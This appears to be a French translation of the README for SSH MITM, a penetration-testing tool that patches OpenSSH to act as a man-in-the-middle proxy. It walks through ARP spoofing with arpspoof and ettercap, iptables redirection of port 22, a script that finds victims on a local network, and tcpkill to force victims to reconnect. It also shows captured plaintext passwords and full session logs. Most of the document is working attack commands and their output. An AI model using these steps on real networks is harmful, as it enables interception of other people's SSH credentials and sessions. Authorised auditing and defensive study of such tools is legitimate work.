
Outil de type homme du milieu pour SSH
Auteur : Joe Testa (@therealjoetesta)
Cet outil de test de pénétration permet à un auditeur d'intercepter des connexions SSH. Un correctif appliqué au code source d'OpenSSH v7.5p1 lui permet d'agir comme un proxy entre la victime et son serveur SSH prévu ; tous les mots de passe en clair et les sessions sont enregistrés sur le disque.
Bien entendu, le client SSH de la victime signalera que la clé du serveur a changé. Mais comme 99,99999 % du temps cela est dû à une action légitime (réinstallation du système d'exploitation, changement de configuration, etc.), la plupart des utilisateurs ignoreront l'avertissement et continueront.
REMARQUE : Exécutez uniquement le sshd_mitm modifié dans une VM ou un conteneur ! Des modifications ponctuelles ont été apportées aux sources OpenSSH dans des zones critiques, sans tenir compte de leurs implications en matière de sécurité. Il n'est pas difficile d'imaginer que ces modifications introduisent de graves vulnérabilités.
Le moyen le plus rapide et le plus simple de commencer est d'utiliser l'image Docker avec SSH MITM pré-compilé.
1.) Obtenez l'image depuis Dockerhub avec :
$ docker pull positronsecurity/ssh-mitm
2.) Ensuite, exécutez le conteneur avec :
$ mkdir -p ${PWD}/ssh_mitm_logs && docker run --network=host -it --rm -v ${PWD}/ssh_mitm_logs:/home/ssh-mitm/log positronsecurity/ssh-mitm
3.) Activez le forwarding IP et les routes NAT sur votre machine hôte :
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -P FORWARD ACCEPT
# iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
4.) Trouvez des cibles sur le réseau local, puis usurpez leurs ARP (voir ci-dessous).
5.) Les sessions Shell et SFTP seront enregistrées dans le répertoire ssh_mitm_logs.
En tant que root, exécutez le script install.sh. Celui-ci installera les prérequis depuis les dépôts, téléchargera l'archive OpenSSH, vérifiera sa signature, la compilera et initialisera un environnement non privilégié pour l'exécution.
Le script JoesAwesomeSSHMITMVictimFinder.py rend très facile la recherche de cibles sur un réseau local. Il usurpera (ARP spoof) un bloc d'adresses IP, reniflera le trafic SSH pendant une courte période, puis passera au bloc suivant. Toute connexion SSH en cours provenant de périphériques sur le réseau local sera signalée.
Par défaut, JoesAwesomeSSHMITMVictimFinder.py usurpera et reniflera seulement 5 adresses IP à la fois pendant 20 secondes avant de passer au bloc suivant de 5. Ces paramètres peuvent être ajustés, mais il y a un compromis : plus vous usurpez d'IP à la fois, plus vous avez de chances de détecter une connexion SSH en cours, mais plus vous sollicitez votre interface réseau. Sous une charge trop élevée, votre interface commencera à perdre des trames, provoquant un déni de service et attirant fortement l'attention (ce qui est mauvais). Les valeurs par défaut ne devraient pas poser de problème dans la plupart des cas, même si cela prendra plus de temps pour trouver des cibles. La taille du bloc peut être augmentée en toute sécurité sur les réseaux à faible utilisation.
Exemple :
# ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53
Found local address 10.11.12.141 and adding to ignore list.
Using network CIDR 10.11.12.141/24.
Found default gateway: 10.11.12.1
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141
Local clients:
* 10.11.12.70 -> 174.129.77.155:22
* 10.11.12.43 -> 10.11.99.2:22
La sortie ci-dessus montre que deux périphériques sur le réseau local ont établi des connexions SSH (10.11.12.43 et 10.11.12.70) ; ceux-ci peuvent être ciblés pour une attaque de type homme du milieu. Notez cependant que pour intercepter potentiellement les identifiants, vous devrez attendre qu'ils initient de nouvelles connexions. Les testeurs impatients peuvent opter pour la fermeture forcée des sessions SSH existantes (à l'aide de l'outil tcpkill), ce qui incitera les clients à en créer immédiatement de nouvelles...
1.) Une fois la configuration initiale terminée et une liste de victimes potentielles trouvée (voir ci-dessus), exécutez start.sh en tant que root. Cela démarrera sshd_mitm, activera le forwarding IP et mettra en place l'interception des paquets SSH via iptables.
2.) Usurpez l'ARP de la ou des cibles (Astuce : ne PAS usurper tout le réseau ! Votre petite interface réseau ne pourra probablement pas gérer tout le trafic d'un réseau à la fois. N'usurpez que quelques IP à la fois) :
arpspoof -r -t 192.168.x.1 192.168.x.5
Vous pouvez également utiliser l'outil ettercap :
ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//
3.) Surveillez auth.log. Les mots de passe interceptés apparaîtront ici :
sudo tail -f /var/log/auth.log
4.) Une fois une session établie, un journal complet de toutes les entrées et sorties se trouve dans /home/ssh-mitm/. Les sessions SSH sont enregistrées sous shell_session_.txt*, et les sessions SFTP sous sftp_session_.html* (avec les fichiers transférés stockés dans un répertoire correspondant).
En cas de succès, /var/log/auth.log contiendra des lignes enregistrant le mot de passe, comme ceci :
Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]
De plus, la session SSH entière de la victime est enregistrée :
# cat /home/ssh-mitm/shell_session_0.txt
Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
Last login: Thu Aug 31 17:42:38 2017
OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
jdog@jefferson ~ $ ppss
PID TT STAT TIME COMMAND
59264 p0 Ss 0:00.02 -bash (bash)
52132 p0 R+p 0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan
Notez que les caractères des commandes de l'utilisateur apparaissent deux fois dans le fichier car l'entrée de l'utilisateur est enregistrée, ainsi que la sortie du shell (qui renvoie les caractères). Observez que lorsque des programmes comme sudo et ssh désactivent temporairement l'écho pour lire un mot de passe, les caractères en double ne sont pas enregistrés.
Toute activité SFTP est également capturée. Utilisez un navigateur pour visualiser sftp_session_0.html. Il contient un journal des commandes, avec des liens vers les fichiers téléchargés et téléversés :
# cat /home/ssh-mitm/sftp_session_0.txt
<html><pre>Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
> realpath "." (Result: /home/jdog)
> realpath "/home/jdog/." (Result: /home/jdog)
> ls /home/jdog
drwxr-xr-x 4 jdog jdog 4096 Sep 11 16:12 .
drwxr-xr-x 4 root root 4096 Sep 6 11:53 ..
-rw-r--r-- 1 jdog jdog 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 jdog jdog 220 Aug 31 2015 .bash_logout
drwx------ 2 jdog jdog 4096 Sep 6 11:54 .cache
-rw-r--r-- 1 jdog jdog 655 May 16 08:49 .profile
drwx------ 2 jdog jdog 4096 Sep 8 16:59 .ssh
-rw-rw-r-- 1 jdog jdog 5242880 Sep 8 15:52 file
-rw-rw-r-- 1 jdog jdog 43131 Sep 10 10:47 file2
-rw-rw-r-- 1 jdog jdog 83 Sep 6 12:56 file3
-rw-rw-r-- 1 jdog jdog 3048960 Sep 11 13:51 file4
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> put <a href="sftp_session_0/file5">/home/jdog/file5</a>
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> stat "/home/jdog/file5" (Result: flags: 15; size: 854072; uid: 1001; gid: 1001; perm: 0100664, atime: 1505172831, mtime: 1505172831)
> setstat "/home/jdog/file5" (Result: flags: 4; size: 0; uid: 0; gid: 0; perm: 0100700, atime: 0, mtime: 0)
</pre></html>
Dans lol.h se trouvent deux définitions : DEBUG_HOST et DEBUG_PORT. Activez-les et définissez le nom d'hôte sur un serveur de test. Vous pouvez alors vous connecter directement à sshd_mitm sans utiliser l'usurpation ARP pour tester vos modifications, par exemple :
ssh -p 2222 valid_user_on_debug_host@localhost
Pour tester les modifications apportées au code source d'OpenSSH, utilisez le script dev/redeploy.sh.
Pour voir un diff des modifications non validées, utilisez le script dev/make_diff_of_uncommitted_changes.sh.
Pour régénérer un correctif complet des sources OpenSSH, utilisez le script dev/regenerate_patch.sh.